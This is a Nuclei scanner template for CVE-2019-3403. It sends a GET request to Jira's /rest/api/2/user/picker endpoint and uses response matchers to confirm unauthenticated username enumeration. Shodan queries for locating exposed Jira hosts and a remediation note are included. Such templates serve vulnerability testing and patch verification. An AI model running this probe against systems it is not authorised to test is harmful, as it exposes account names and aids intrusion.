Jira before version 7.13.3, from version 8.0.0 before version 8.0.4, and from version 8.1.0 before version 8.1.1 is susceptible to an incorrect authorization check in the /rest/api/2/user/picker rest resource, enabling an attacker to enumerate usernames and gain improper access.
PoC代码[已公开]
id: CVE-2019-3403
info:
name: Jira - Incorrect Authorization
author: Ganofins
severity: medium
description: Jira before version 7.13.3, from version 8.0.0 before version 8.0.4, and from version 8.1.0 before version 8.1.1 is susceptible to an incorrect authorization check in the /rest/api/2/user/picker rest resource, enabling an attacker to enumerate usernames and gain improper access.
impact: |
This vulnerability can lead to unauthorized access to sensitive data, potential data breaches, and unauthorized actions within the Jira system.
remediation: |
Apply the latest security patches and updates provided by Atlassian to fix the vulnerability and ensure proper authorization controls are in place.
reference:
- https://jira.atlassian.com/browse/JRASERVER-69242
- https://nvd.nist.gov/vuln/detail/CVE-2019-3403
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/rezasarvani/JiraVulChecker
- https://github.com/und3sc0n0c1d0/UserEnumJira
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2019-3403
cwe-id: CWE-863
epss-score: 0.828
epss-percentile: 0.99204
cpe: cpe:2.3:a:atlassian:jira:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: atlassian
product: jira
shodan-query:
- http.component:"Atlassian Jira"
- http.component:"atlassian jira"
- http.component:"atlassian confluence"
- cpe:"cpe:2.3:a:atlassian:jira"
tags: cve,cve2019,atlassian,jira,enumeration
http:
- method: GET
path:
- "{{BaseURL}}/rest/api/2/user/picker?query="
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(header, "application/json")'
- 'contains_any(body, "\"users\":","\"usuario\":")'
- 'contains_all(body, "\"total\":", "\"header\":")'
- 'status_code == 200 || status_code == 404'
condition: and
- type: word
part: body
words:
- 'total":0'
negative: true
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